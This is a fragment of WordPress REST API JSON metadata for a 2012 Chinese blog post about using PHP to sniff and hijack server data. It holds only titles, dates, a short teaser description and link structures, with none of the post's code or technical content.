Blog","og_description":"\u4f5c\u8005:\u4e91\u8212\u8f6c\u81ea\uff1ahttp:\/\/www.haiyangtop.net\/safety\/book\/show.asp?id=3880\u524d\u51e0\u5929\u523a\u5728\u6211\u4eec\u7684maillist\u53d1\u4e86\u4e00\u4e2a\u8001\u5916\u5199\u7684\u6587\u7ae0\uff0c\u5927\u610f\u662f\u53ef\u4ee5\u7528php\u6765\u5b9e\u73b0\u6570\u636e\u7684\u52ab\u6301\u548c\u8f6c\u53d1\u3002\u6211\u7784\u4e86\u4e00\u4e0b\uff0c\u786e\u5b9e\u53ef\u884c\uff0c\u4e8e\u662f\u4eca\u5929\u62bd\u51fa\u4e86\u4ee5\u524d\u7528\u6765\u626f\u6de1\u7684\u65f6\u95f4\uff0c\u5199\u4e86\u6bb5\u4ee3\u7801\u9a8c\u8bc1\u4e86\u4e00\u4e0b\u60f3\u6cd5\u3002\u8001\u5916\u7684\u539f\u6587\u662f\u4e00\u4e2aPDF\uff0c\u6709\u5174\u8da3\u770b\u7684\u53ef\u4ee5\u770b\u770b\u3002\u5730\u5740\u662f\u5728\uff1ahttp:\/\/www.secforce.co...","og_url":"http:\/\/weizn.net\/?p=26","og_site_name":"Wayne&#039;s Blog","article_published_time":"2012-08-03T13:24:02+00:00","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"3 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=26#webpage","url":"http:\/\/weizn.net\/?p=26","name":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"datePublished":"2012-08-03T13:24:02+00:00","dateModified":"2012-08-03T13:24:02+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=26#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=26"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=26#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=26#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=26#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"\u5229\u7528php\u6765\u55c5\u63a2\u52ab\u6301\u670d\u52a1\u5668\u6570\u636e","datePublished":"2012-08-03T13:24:02+00:00","dateModified":"2012-08-03T13:24:02+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=26#webpage"},"wordCount":662,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"articleSection":["\u5e94\u7528\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=26#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/26","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=26"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/26\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=26"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=26"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=26"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}